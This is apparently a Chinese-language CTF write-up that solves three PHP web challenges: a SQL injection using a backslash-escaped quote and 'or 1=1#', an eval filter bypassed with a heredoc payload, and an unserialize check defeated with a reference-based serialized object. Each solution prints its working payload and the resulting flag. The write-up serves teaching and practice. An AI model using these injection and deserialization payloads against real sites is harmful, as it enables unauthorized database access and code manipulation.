一次ctf题(1)
题目一:
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
传参username和password对数据库做查询
$str=stripslashes($str);
输入字符会把‘ 或者“ 转换为html实体,无法闭合源码中的’。
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
使用转义符\,使‘失效闭合name=’的语句,使pass后面的值为真。
select * from users where name ='admin\' and pass ='or 1=1#'
[http://10.196.8.21:18001/challenge18.php?username=admin &password=or 1=1%23](http://10.196.8.21:18001/challenge18.php?username=admin &password=or 1=1%23)
注入后就获得值
Connected to Database!Hello root
Your password is:2eb15de99ded49fb714981afb3dae1eb615a3162
题目二:
$f = $_GET['eval'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
传入参数为eval,然后用str_replace过滤,并且要求长度小于13,不能包含return
#return ($spaceone === '1337');
if($spaceone === '1337')
echo "FLAG{xxx}";
然后执行eval,让spaceone==='1337' 返回ture。
str_replace 过滤了单双引号,直接传eval='1337'不行,过滤后会变成soaceone=1337 不等
可以用heredoc构造绕过单引号
- 使用操作符“ <<<”
- 操作符后紧跟标识符(开始标识符),之后重起新的一行输入要引用的字符串,可以包含变量。
- 新的一行,顶格写结束表示符,以分号结束。例如```php <?php
?eval=<<<s%0a1337%0as;%0a
FLAG{5a38989fe3a5274341f74f6415b99b9bb8e4dde9}
题目三:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "FLAG{xxx}";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
1,声明了一个类,这个类里面包含有$enter
,$secret
两个成员,先把传入的\(pass参数反序列化,并传参给\)o。如果$o->secret === $o->enter
,那么久输出所谓的秘密,也就是o->secret。
2,首先获取我们传入的参数,进行反序列化;给\(o中的secret赋值;比较\)o->secret和$o->enter是否相等。注意这里是 '==='。
3,在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 clone 关键字来拷贝,PHP 支持引用赋值,使用“\(var = &\)othervar;”语法。引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。
4,知道上面所说的,我们就可以把上面的代码改一下了:`enter = &\(o->secret; //这里是重点。我们使用引用传参的特点,让\)o->secret的值和\(o->enter的值,这样两个变量就永远相等了 echo serialize(\)o); ?>
5,序列化字符串为: O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
Congratulation! Here is my secret: FLAG{8818d37a24b4921c2d26fb313cd27a6a2c65a37a}